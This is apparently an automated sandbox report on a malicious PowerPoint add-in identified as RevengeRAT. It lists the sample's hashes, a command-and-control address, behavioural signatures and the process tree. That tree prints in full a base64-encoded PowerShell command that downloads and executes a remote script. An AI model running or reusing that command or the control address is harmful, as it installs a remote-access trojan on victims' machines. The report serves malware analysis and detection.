Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
11/03/2024, 15:01
General
- Target Detalhes da reserva.ppam
- Size 18KB
- Sample240311-sdvz9sdf81
- SHA256 0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
craxsrat.ddns.com.br:333
-
27d7e6701f5e
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Process spawned suspicious child process 1 IoCs
This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Detalhes da reserva.ppam" /ou ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBYAGUAQgBWAGEAQwB0AEMAVABoAG8AWABHAEcAdwBNAEUAZgBSAHUARAB1AEoAVwBFAFIAYQB0AGEAcABKAGUAZgBPAGYAYwB6AEYAQwBJAFMAbgB5AFQAQwBhAEUASABCAGsARQBNAHUATwBwAHAAQgBGAFYATgBDAEIAQgBLAGEAaQBSAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
-
-
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C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 39242⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\dwwin.exeC:\Windows\system32\dwwin.exe -x -s 39243⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_lgydesg1.cwt.ps1
memory/788-71-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/788-76-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-75-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-72-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/788-73-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-40-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-70-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/788-74-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/788-50-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-49-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-45-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-44-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/788-42-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1592-82-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-64-0x00000209229E0000-0x0000020922A02000-memory.dmp
memory/1592-95-0x00007FF97C890000-0x00007FF97D351000-memory.dmp
memory/1592-91-0x0000020922A30000-0x0000020922A31000-memory.dmp
memory/1592-90-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-88-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-86-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-84-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-80-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-79-0x0000020922A10000-0x0000020922A28000-memory.dmp
memory/1592-78-0x0000020922A10000-0x0000020922A30000-memory.dmp
memory/1592-77-0x000002093ACD0000-0x000002093ACE0000-memory.dmp
memory/1592-66-0x000002093ACD0000-0x000002093ACE0000-memory.dmp
memory/1592-65-0x00007FF97C890000-0x00007FF97D351000-memory.dmp
memory/1968-8-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-12-0x00007FF9638F0000-0x00007FF963900000-memory.dmp
memory/1968-69-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-7-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-4-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/1968-6-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/1968-5-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-3-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-2-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/1968-1-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-14-0x00007FF9638F0000-0x00007FF963900000-memory.dmp
memory/1968-10-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-11-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-13-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-0-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/1968-9-0x00007FF965F50000-0x00007FF965F60000-memory.dmp
memory/1968-15-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-24-0x0000025635FE0000-0x00000256367E0000-memory.dmp
memory/1968-18-0x0000025637AE0000-0x0000025637CE0000-memory.dmp
memory/1968-17-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/1968-16-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmp
memory/3936-96-0x0000000074EC0000-0x0000000075670000-memory.dmp
memory/3936-97-0x0000000000730000-0x000000000073A000-memory.dmp
memory/3936-98-0x00000000052E0000-0x0000000005884000-memory.dmp
memory/3936-99-0x0000000004CB0000-0x0000000004CC0000-memory.dmp
memory/3936-100-0x0000000005150000-0x00000000051EC000-memory.dmp
memory/3936-101-0x00000000051F0000-0x0000000005256000-memory.dmp
memory/3936-102-0x0000000074EC0000-0x0000000075670000-memory.dmp
memory/3936-103-0x0000000004CB0000-0x0000000004CC0000-memory.dmp